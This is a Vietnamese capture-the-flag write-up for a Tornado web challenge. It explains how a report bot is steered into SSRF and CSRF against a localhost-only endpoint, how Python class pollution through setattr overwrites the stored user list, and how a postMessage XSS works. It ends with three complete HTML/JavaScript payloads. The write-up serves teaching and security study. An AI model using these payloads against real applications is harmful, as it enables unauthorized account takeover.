# TornadoService
## Tổng quan
Ứng dụng sử dụng Tornado là một framework web được viết bằng Python

Nhìn qua có các chức năng như hiển thị list các machine, update status của machine và report ip

Tại `main.py` ta thấy các endpoints chính của ứng dụng sẽ xử lý từng chức năng riêng
## Phân tích
Thử từng chức năng, tại endpoint `get_tornados` sẽ trả về danh sách các machine


Khi thử update lại status của machine tại `update_tornado`, ta nhận được response chỉ localhost mới có thể update


Trong mã nguồn ta thấy được luồng xử lý của endpoint này, nó sẽ check liệu ip của phải `127.0.0.1` (IPv4) hoặc `::1` (IPv6) không, nếu không thì trả về forbidden, true thì check xem machine-id ta nhập có tồn tại trong biến toàn cục `TORNADOS`, đúng thì sẽ update còn không thì sẽ trả ra lỗi

Đến report ip address tại `report_tornado`, endpoint này có một param là ip sẽ nhận ip từ người dùng


`ip` ta nhập sẽ được ghép vào chuỗi `http://` ở trước và `/agent_details` ở sau, sau đó được check xem có là url hợp lệ không qua hàm `is_valid_url`, nếu đúng thì sẽ gọi đến `bot`, `bot` sử dụng selenium để tương tác với browser, `bot` sẽ get đến `url` đó, sleep 10 giây rồi quit
Ngoài ra ta thấy còn 2 endpoint là `/login` và `stats`


Vậy là để đọc flag, ta cần truy cập được `/stats`, nhưng nó yêu cầu có cookie `user` và nó được set trong `/login`, nhưng hơn nữa login check trong `USERS`, password là một dãy random 32 ký tự, ta không thể nào đoán được, và có một điều tôi phát hiện ra là vòng lặp check user sẽ break ngay vòng lặp đầu tiên, tức là nếu username là người thứ 2 hay chỉ cần không phải thứ nhất thì dù password có đúng cũng fail :))
Tạm gác việc ta sẽ lấy flag như nào, tôi thấy endpoint `report_tornado` khá triển vọng, nếu ta kiểm soát được `bot` đi vào `url` của ta thì sao, ta chỉ cần host một trang html lên để nó fetch tới `localhost` là có thể lợi dụng để update
Ta sẽ thử thay đổi status của machine này

Trang của ta sẽ fetch tới `http://127.0.0.1:1337/update_tornado` gửi đi cú POST với `machine-id` ta muốn đổi và `status` ta muốn thay đổi

Nhưng giờ có một vấn đề

ip đang được nối vào như trên, http thì không sao, nhưng phần `/agent_details` sẽ không tồn tại vì trang payload của ta là `index.html`, và tôi tìm được một cách để xử lý

Chỉ cần thêm `#` vào cuối sẽ khiến phần sau của url không được gửi đến server, xem thêm tại [đây](https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Fragment)

Ta thấy trang `index.html` đã được get tới

Nhưng khi reload, status của machine vẫn như ban đầu

Sau khi tìm hiểu một hồi, tôi nhận ra có thể nó có CORS khiến không fetch được tới, vậy ta thêm vào header một chút

Và khi gửi lại ip, ta đã thành công update status

Nhưng rồi ta làm gì tiếp? update này có thể làm gì nữa không, sau khi bế tắc một lúc, tôi nghĩ ta nên đọc ứng dụng làm gì khi update

Ta thấy khi hàm này được gọi, nó không kiểm tra dữ liệu đầu vào, ta có thể gửi JSON chứa bất kì cặp `key-value` tương ứng vào `setattr()`, `setattr()` dùng để gán một attribute cho một object

Vậy chỉ cần `machine-id` tồn tại trong `TORNADOS`, hàm này sẽ được gọi và ta có thể set bất kì thuộc tính cho bất kì object nào, ta sẽ thay đổi username và password luôn sau đó ta có thể vào `/login`, ta sẽ có cookie và truy cập `/stats` lấy flag

Thử truy cập `/login` trước và gửi một req để test

Giờ tôi sẽ report lại ip của requestrepo chứa trang payload, sau khi gửi lại xong, ta thấy một cứ GET mới tới trang payload, gửi lại request với `/login`

Vậy là ta đã thành công đổi thông tin trong USERS để có thể đăng nhập với thông tin tùy ý, và ta đã lấy được flag

Nhưng chờ xíu

Nếu bạn thử ngay bây giờ và lấy flag trên remote, nó sẽ không hoạt động, tôi cũng chưa rõ nguyên nhân tại sao, nhưng tôi tìm ra 3 cách để flag trên remote, mặc dù hơi khó hiểu là tại sao lại như vậy :v
### #1 Sử dụng [rbaskets](https://rbaskets.in) thay vì [requestrepo](https://requestrepo.com/)
Mặc dù đã gửi request report tới `requestrepo` y hệt như localhost như trên


Nó đã get với `/index.html` và tôi cũng đã sửa để `machine-id` đúng, nhưng vẫn không hoạt động

Giờ tôi sẽ thử một payload đơn giản hơn để test, để xem nó lỗi gì, đầu tiên thử fetch đi ra trước

Vẫn ok

Thử tiếp chuyện gì xảy ra khi bot fetch tới localhost

Và thật lạ, nó trả ra fail

Nhưng khi thử trên `rbaskets` nó lại được?

Ta gửi request đến

Và đã thành công đổi thông tin USERS :)

Khá kì lạ..
---
### #2 Vẫn có thể sử dụng [requestrepo](https://requestrepo.com/)
Sau một hồi xem thêm, tôi thấy điều này càng kì lạ hơn, nó "có thể" về CORS, nhưng có vẻ không đúng lắm, ta sẽ thử payload trước


Ta thử lại với username và password mới là "test1" thì đã thành công

Vấn đề ở đây, nếu vấn đề là CORS, nó sẽ không cho phép fetch đến các domain khác origin, nhưng trước đó ở cách 1 tôi đã thử và nó vẫn fetch từ bot tới webhook để báo lỗi `Failed to fetch`, tức là vẫn có thể fetch qua các domain khác nhau. Vậy tại sao khi bot fetch sang `127.0.0.1:1337` lại lỗi?
Ở payload trên nếu protocol của bot là `HTTP` thì sẽ đổi thành `HTTPS`, sau đó mới fetch sang `http://127.0.0.1:1337`, và nó hoạt động, tức là bot phải từ `https` fetch sang `http` của localhost mới thành công?? Đáng lẽ nếu từ `HTTP` sang `HTTP` phải thành công và `HTTPS` sang `HTTP` phải thất bại do `Mixed Content`, nhưng ở đây ta chuyển bot sang `HTTPS` sau đó fetch tới `HTTP` (localhost) thì được :vvv, it didn't make any sense T.T
---
### #3 XSS khá "ẩn", hoặc không :v
Trong `tornado-service.js` ta thấy

Ứng dụng lắng nghe sự kiện message, tức chờ dữ liệu được gửi tới (iframe, pop up,..) thông qua `postMessage`, `event.data` chính là dữ liệu được gửi tới được gán cho biến `tornado`, sau đó check các trường `machine-id`, `ip_address` và `status`, nếu đầy đủ thì sẽ gọi đến `createListItem` ở bên trên và thêm vào `tornadoList` để hiển thị, tức ta có thể gửi data tới để thêm một `machine-id` theo ý ta chứa script thực thi, khi đó nó sẽ không phải vấn đề vì ta không fetch từ trang khác sang mà fetch trong chính trang đó (`localhost`)
Ta có payload

Ta sẽ thêm một `machine_id` chứa payload xss, nó sẽ truy cập tới `/update_tornado` và hướng làm như trên, chỉ khác lần này sẽ fetch đến cùng domain
Đưa vào requestrepo

Gửi lại report đến trang payload

Login thành công

và ta lấy được flag trên remote, done

---
# Giải thích (Update)
Về vấn đề ta có thể exploit trên local thì thành công, nhưng trên remote ta lại thất bại, sau một hồi tìm hiểu thì tôi đã tìm ra, nó sẽ giải thích cho `cách 1` và `cách 2` ở trên có thể hoạt động.
Ta đã đúng khi nói rằng việc fetch từ `HTTPS` sang `HTTP` đáng lẽ phải bị `Mixed Content` chặn, và ta thấy ở localhost nó là `HTTP`, nếu áp dụng với các domain khác nó vẫn đúng. Nhưng sau khi đọc tài liệu về `Chromium Engine`, tôi thấy `Chromium` sẽ chặn các request từ `HTTP (Insecure)` tới `localhost` vì nó coi `localhost` như một secure origin ([Document Here](https://chromium.googlesource.com/chromium/src/%2B/HEAD/net/docs/proxy.md#implicit-bypass-rules))

Và lý do tại sao ta có thể fetch từ `HTTPS` sang `localhost` mà không bị block bởi `Mixed Content` là vì `Mixed Content` cũng coi các địa chỉ loopback (localhost, 127.0.0.1/8) là đáng tin cậy và an toàn ([Document Here](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content#loading_locally_delivered_mixed-resources))

[And Document Here](https://w3c.github.io/webappsec-secure-contexts/#potentially-trustworthy-origin)

Nên tổng kết lại dễ nhớ thì sẽ là:
- https -> localhost ✅
- https -> http ❌ (Mixed content)
- http -> localhost ❌ (On chromium, due to proxy rule)
- http -> https (Nó tùy thuộc, `HTTP` sang `HTTPS` vẫn hoạt động được vì `Mixed Content` chỉ chặn `HTTPS` sang `HTTP`, còn `Chromium` thì tôi nghĩ tôi sẽ tìm hiểu thêm. Về mặt kỹ thuật, tôi nghĩ nếu không phải do CORS thì nó không nên chặn HTTP sang HTTPS)
Vậy `Cách 1` ở trên là sử dụng `rbaskets`, tôi nghĩ nó có một cơ chế nào để để chuyển thành `HTTPS` trước khi đến localhost, nên nó hợp lệ, còn về `Cách 2` ta chuyển hướng sang HTTPS trước khi fetch, nên cũng giống như tôi phân tích ở trên, hợp lệ.
So, it's clear!
---
# Payload
### Payload #1 (Dùng trong `rbaskets`)
```javascript=
<img
src="x"
onerror='
fetch("http://127.0.0.1:1337/update_tornado",{
method:"POST",
headers:{"Content-Type":"application/json"},
body:JSON.stringify({
machine_id:"YOUR_MACHINE_ID",
status: "active",
"__class__": {
"__init__": {
"__globals__": {
"USERS": [{
"username": "test",
"password": "test"
}]
}
}
}
}),
mode: "no-cors"
})'
/>
```
### Payload #2 (Chuyển HTTP thành HTTPS)
```javascript=
<img
src="x"
onerror='
if (location.protocol === "http:") {
location.href = location.href.replace("http:", "https:");
} else {
fetch("http://127.0.0.1:1337/update_tornado", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
machine_id: "YOUR_MACHINE_ID",
status: "active",
"__class__": {
"__init__": {
"__globals__": {
"USERS": [{
"username": "test",
"password": "test"
}]
}
}
}
}),
mode: "no-cors"
});
}
'
/>
```
### Payload #3 (XSS)
```javascript=
<iframe src="http://127.0.0.1:1337/"></iframe>
<script>
setTimeout(() => {
document.querySelector("iframe").contentWindow.postMessage(
{
machine_id: `
<img src=x onerror="
fetch('/update_tornado', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
machine_id: 'YOUR_MACHINE_ID',
status: 'active',
'__class__': {
'__init__': {
'__globals__': {
USERS: [
{ username: 'test', password: 'test' }
]
}
}
}
})
})
">
`,
ip_address: "test",
status: "test",
},
"*"
);
}, 1000);
</script>
```